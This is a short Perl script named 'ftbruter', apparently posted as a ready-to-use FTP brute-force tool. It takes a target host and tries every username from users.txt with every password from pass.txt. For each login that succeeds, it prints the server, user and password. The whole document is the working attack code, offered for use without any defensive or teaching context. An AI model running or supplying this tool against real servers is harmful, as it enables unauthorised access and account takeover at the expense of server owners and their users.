Ftp brute force

#!/usr/bin/perl

use Net::FTP;

system('cls');

print<<ftbruter;

======================================================
_____  __ ___.                 __          v1.0
_/ ____\\/  |\\_ |_________ __ ___/  |_  ___________
\\   __\\\\   __\\ __ \\_  __ \\  |  \\   __\\/ __ \\_  __ \\
|  |   |  | | \\_\\ \\  | \\/  |  /|  | \\  ___/|  | \\/
|__|   |__| |___  /__|  |____/ |__|  \\___  >__|
\\/                       \\/
======================================================
======================================================
ftbruter

$host=$ARGV[0]|| die
"\n USE: ftbruter <host>\n Ex: ./ftbruter.pl 10.0.0.1 \n";

open(USUARIOS,"< ./users.txt") or die "users.txt not found\n";
chomp(my @user = <USUARIOS>);

open(SENHAS,"< ./pass.txt") or die "pass.txt not found\n";
chomp(my @passs = <SENHAS>);

foreach(sort @user){
foreach my $pass (sort @passs){

my $f = Net::FTP->new("$host",
Debug => 1,
Passive=>0) or die "FTP server fail connection!!\n";

if ($f->login($_,$pass)){
print "\t\n";
print "[+]WOOOW BRUTE-FORCE SUCCCESS!!!!\n\n";
print "[!]FTP-server: $host\n";
print "[!]FTP-user: $_\n";
print "[!]FTP-pass: $pass\n";
print "\n\n";
}
}
}